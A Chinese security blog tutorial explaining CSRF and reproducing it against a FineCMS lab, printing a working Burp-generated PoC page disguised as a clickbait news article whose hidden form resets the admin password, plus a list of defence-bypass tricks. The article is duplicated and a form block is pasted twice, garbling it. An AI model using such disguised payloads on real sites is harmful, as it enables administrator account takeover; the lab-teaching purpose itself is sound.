• 欢迎访问行云博客,推荐使用最新版火狐浏览器和Chrome浏览器访问本网站,欢迎加入行云博客 QQ群
  • 本站广招各类优秀作者,详情可以加群联系
  • 如果您觉得本站非常有看点,那么赶紧使用Ctrl+D 收藏行云博客吧

CSRF跨站请求伪造——原理及复现

web渗透 行云 2个月前 (08-11) 161次浏览 已收录 0个评论 扫描二维码

原理

CSRF(Cross-site request forgery)跨站请求伪造:通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。 尽管听起来像跨站脚本(XSS),但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。 与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性

你这可以这么理解CSRF攻击:攻击者盗用了你的身份,以你的名义发送恶意请求。 CSRF能够做的事情包括:以你名义发送邮件,发消息,盗取你的账号,甚至于购买商品,虚拟货币转账……造成的问题包括: 个人隐私泄露以及财产安全。

过程

CSRF跨站请求伪造——原理及复现-行云博客

复现

靶场

某finecms,该源码存在xss以及csrf漏洞 下载地址finecms 安装教程文件里有,这里不再说明

步骤

代码审计加抓包发现构造点 CSRF跨站请求伪造——原理及复现-行云博客

CSRF跨站请求伪造——原理及复现-行云博客 CSRF跨站请求伪造——原理及复现-行云博客

利用burp自带功能,生成csrf的payload CSRF跨站请求伪造——原理及复现-行云博客 本地保存下来并访问

 <html>
   <!-- CSRF PoC - generated by Burp Suite Professional -->
   <title>震惊!!! 某网吧机子竟集体瘫痪</title>
   <link rel="icon" href="https://www.bilibili.com/favicon.ico">
   <body>
     <style type="text/css">
 
         #sub{
             font-size: 20px;
             display: block;
             height: 58px;
             width: 150px;
             margin: 30px auto 0;
             line-height: 38px;
             vertical-align: middle;
             text-align: center;
             font-size: 16px;
             background: #00a1d6;
             color: #fff;
             border-radius: 10px;
             transition: 0.2s;
         }
         .title {
             text-align: center;
         }
         p{
             font-size: 50px;
         }
         span{
             font-size: 18px;
         }
       
 
           </style>
   <script>history.pushState('', '', '/')</script>
     <div class="title">
     <h1>震惊</h1>
     <h1>男子购买网络攻击工具当黑客 致40多家网吧瘫痪!</h1>
     <h2>原因让网友无语......</h2>
     </div>
 
     <div>
         <p><img src="https://n.sinaimg.cn/spider202089/73/w344h529/20200809/15d4-ixkvvue4830298.png" align=left border=0>
             <img src="http://p4.itc.cn/images01/20200810/8d01f2d0c64a4c308415de0081288005.jpeg" align="right" border=0 width="344" height="529">
     <div><span>网络并非法外之地,如果因为个人在网络上的行为,致使他人遭受权益损害或者损失的话,同样会遭受到法律的惩罚。<br>
 据媒体报道,近日,山东济南的一位年轻小伙王某某,因为在网络上发动网络攻击,致使40多家网吧网络瘫痪、频繁掉线。
 随后,这位男子在当地被公安机关逮捕。只是这个男子的动机,着实让一众网友无语,其自称到,这样做纯粹是因为好玩,看到别人断网就兴奋。</span></div></p>
     <form action="http://finecms.com/admin.php?c=member&m=edit&uid=1" method="POST" name="hack">
       <input type="hidden" name="page" value="0" />
       <input type="hidden" name="member&#91;email&#93;" value="1&#64;qq&#46;com" />
       <input type="hidden" name="member&#91;name&#93;" value="1212" />
       <input type="hidden" name="member&#91;phone&#93;" value="12" />
       <input type="hidden" name="member&#91;password&#93;" value="123456" />
       <input type="submit" value="点击查看全文" id="sub"/>
       <img src="http://img4.myhsw.cn/2020-08-10/ACI4nKVTvKdHmM5u.jpg" align="center" height="330" width="800">
     </div>
       <script type="text/javascript">
         
         //document.hack.submit()
       </script>
     </form>
   </body>
 </html>
 

CSRF跨站请求伪造——原理及复现-行云博客 当管理员点击查看全文时,将会自动提交表单来修改密码

 <form action="http://finecms.com/admin.php?c=member&m=edit&uid=1" method="POST" name="hack">
       <input type="hidden" name="page" value="0" />
       <input type="hidden" name="member&#91;email&#93;" value="1&#64;qq&#46;com" />
       <input type="hidden" name="member&#91;name&#93;" value="1212" />
       <input type="hidden" name="member&#91;phone&#93;" value="12" />
       <input type="hidden" name="member&#91;password&#93;" value="123456" />
       <input type="submit" value="点击查看全文" id="sub"/><form action="http://finecms.com/admin.php?c=member&m=edit&uid=1" method="POST" name="hack">
       <input type="hidden" name="page" value="0" />
       <input type="hidden" name="member&#91;email&#93;" value="1&#64;qq&#46;com" />
       <input type="hidden" name="member&#91;name&#93;" value="1212" />
       <input type="hidden" name="member&#91;phone&#93;" value="12" />
       <input type="hidden" name="member&#91;password&#93;" value="123456" />
       <input type="submit" value="点击查看全文" id="sub"/>

CSRF跨站请求伪造——原理及复现-行云博客 此时我们已经成功修改了管理员的密码,并可以登录了

防御方式

  1. REferer头防御

  2. 加验证码

  3. token

  4. 自定义请求头

绕过方式

  1. referer绕过把我们的csrf文件名改为信任的域名

  2. 看验证码是否生效第二看验证码是否多次请求都不会过期

  3. 第一找token加密规则,第二xss打token

  4. 抓包查看私有请求头,然后通过xmlhttprequest来创建请求头

    原理

    CSRF(Cross-site request forgery)跨站请求伪造:通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。 尽管听起来像跨站脚本(XSS),但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。 与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性

    你这可以这么理解CSRF攻击:攻击者盗用了你的身份,以你的名义发送恶意请求。 CSRF能够做的事情包括:以你名义发送邮件,发消息,盗取你的账号,甚至于购买商品,虚拟货币转账……造成的问题包括: 个人隐私泄露以及财产安全。

    过程

    CSRF跨站请求伪造——原理及复现-行云博客

    复现

    靶场

    某finecms,该源码存在xss以及csrf漏洞 下载地址finecms 安装教程文件里有,这里不再说明

    步骤

    代码审计加抓包发现构造点 CSRF跨站请求伪造——原理及复现-行云博客

    CSRF跨站请求伪造——原理及复现-行云博客 CSRF跨站请求伪造——原理及复现-行云博客

    利用burp自带功能,生成csrf的payload CSRF跨站请求伪造——原理及复现-行云博客 本地保存下来并访问

     <html>
       <!-- CSRF PoC - generated by Burp Suite Professional -->
       <title>震惊!!! 某网吧机子竟集体瘫痪</title>
       <link rel="icon" href="https://www.bilibili.com/favicon.ico">
       <body>
         <style type="text/css">
     
             #sub{
                 font-size: 20px;
                 display: block;
                 height: 58px;
                 width: 150px;
                 margin: 30px auto 0;
                 line-height: 38px;
                 vertical-align: middle;
                 text-align: center;
                 font-size: 16px;
                 background: #00a1d6;
                 color: #fff;
                 border-radius: 10px;
                 transition: 0.2s;
             }
             .title {
                 text-align: center;
             }
             p{
                 font-size: 50px;
             }
             span{
                 font-size: 18px;
             }
           
     
               </style>
       <script>history.pushState('', '', '/')</script>
         <div class="title">
         <h1>震惊</h1>
         <h1>男子购买网络攻击工具当黑客 致40多家网吧瘫痪!</h1>
         <h2>原因让网友无语......</h2>
         </div>
     
         <div>
             <p><img src="https://n.sinaimg.cn/spider202089/73/w344h529/20200809/15d4-ixkvvue4830298.png" align=left border=0>
                 <img src="http://p4.itc.cn/images01/20200810/8d01f2d0c64a4c308415de0081288005.jpeg" align="right" border=0 width="344" height="529">
         <div><span>网络并非法外之地,如果因为个人在网络上的行为,致使他人遭受权益损害或者损失的话,同样会遭受到法律的惩罚。<br>
     据媒体报道,近日,山东济南的一位年轻小伙王某某,因为在网络上发动网络攻击,致使40多家网吧网络瘫痪、频繁掉线。
     随后,这位男子在当地被公安机关逮捕。只是这个男子的动机,着实让一众网友无语,其自称到,这样做纯粹是因为好玩,看到别人断网就兴奋。</span></div></p>
         <form action="http://finecms.com/admin.php?c=member&m=edit&uid=1" method="POST" name="hack">
           <input type="hidden" name="page" value="0" />
           <input type="hidden" name="member&#91;email&#93;" value="1&#64;qq&#46;com" />
           <input type="hidden" name="member&#91;name&#93;" value="1212" />
           <input type="hidden" name="member&#91;phone&#93;" value="12" />
           <input type="hidden" name="member&#91;password&#93;" value="123456" />
           <input type="submit" value="点击查看全文" id="sub"/>
           <img src="http://img4.myhsw.cn/2020-08-10/ACI4nKVTvKdHmM5u.jpg" align="center" height="330" width="800">
         </div>
           <script type="text/javascript">
             
             //document.hack.submit()
           </script>
         </form>
       </body>
     </html>
     

    CSRF跨站请求伪造——原理及复现-行云博客 当管理员点击查看全文时,将会自动提交表单来修改密码

     <form action="http://finecms.com/admin.php?c=member&m=edit&uid=1" method="POST" name="hack">
           <input type="hidden" name="page" value="0" />
           <input type="hidden" name="member&#91;email&#93;" value="1&#64;qq&#46;com" />
           <input type="hidden" name="member&#91;name&#93;" value="1212" />
           <input type="hidden" name="member&#91;phone&#93;" value="12" />
           <input type="hidden" name="member&#91;password&#93;" value="123456" />
           <input type="submit" value="点击查看全文" id="sub"/><form action="http://finecms.com/admin.php?c=member&m=edit&uid=1" method="POST" name="hack">
           <input type="hidden" name="page" value="0" />
           <input type="hidden" name="member&#91;email&#93;" value="1&#64;qq&#46;com" />
           <input type="hidden" name="member&#91;name&#93;" value="1212" />
           <input type="hidden" name="member&#91;phone&#93;" value="12" />
           <input type="hidden" name="member&#91;password&#93;" value="123456" />
           <input type="submit" value="点击查看全文" id="sub"/>

    CSRF跨站请求伪造——原理及复现-行云博客 此时我们已经成功修改了管理员的密码,并可以登录了

    防御方式

    1. REferer头防御

    2. 加验证码

    3. token

    4. 自定义请求头

    绕过方式

    1. referer绕过把我们的csrf文件名改为信任的域名

    2. 看验证码是否生效第二看验证码是否多次请求都不会过期

    3. 第一找token加密规则,第二xss打token

    4. 抓包查看私有请求头,然后通过xmlhttprequest来创建请求头


行云博客 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的;不得将上述内容用于商业或者非法用途,否则,一切后果请用户自负。 本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。 如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我(admin@xy586.top)联系处理。敬请谅解!

喜欢 (0)
[行云博客]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址